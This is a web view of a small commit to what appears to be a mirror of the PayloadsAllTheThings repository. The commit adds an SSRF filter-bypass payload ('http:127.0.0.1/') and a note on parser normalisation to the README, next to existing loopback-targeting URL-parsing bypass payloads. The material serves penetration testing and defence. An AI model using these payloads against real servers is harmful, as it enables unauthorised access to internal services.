admin/PayloadsAllTHINGS
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

Merge pull request #809 from HackingRepo/patch-2

Browse Source 
Update README with URL parsing examples
This commit is contained in:
Swissky
2026-01-03 16:57:44 +01:00
committed by GitHub
parent cd548698eb c975f61fa0
commit 45661ef925
1 changed files with 2 additions and 0 deletions
Download Patch File Download Diff File Expand all files Collapse all files

2
Server Side Request Forgery/README.md
View File

@@ -266,6 +266,7 @@ http://127.1.1.1:80\@127.2.2.2:80/
http://127.1.1.1:80\@@127.2.2.2:80/ http://127.1.1.1:80\@@127.2.2.2:80/
http://127.1.1.1:80:\@@127.2.2.2:80/ http://127.1.1.1:80:\@@127.2.2.2:80/
http://127.1.1.1:80#\@127.2.2.2:80/ http://127.1.1.1:80#\@127.2.2.2:80/
http:127.0.0.1/
``` ```
![https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/Images/WeakParser.png?raw=true](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/Images/WeakParser.jpg?raw=true) ![https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/Images/WeakParser.png?raw=true](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/Images/WeakParser.jpg?raw=true)
@@ -275,6 +276,7 @@ Parsing behavior by different libraries: `http://1.1.1.1 &@2.2.2.2# @3.3.3.3/`
* `urllib2` treats `1.1.1.1` as the destination * `urllib2` treats `1.1.1.1` as the destination
* `requests` and browsers redirect to `2.2.2.2` * `requests` and browsers redirect to `2.2.2.2`
* `urllib` resolves to `3.3.3.3` * `urllib` resolves to `3.3.3.3`
* Some parsers replace http:127.0.0.1/ to http://127.0.0.1/
### Bypass PHP filter_var() Function ### Bypass PHP filter_var() Function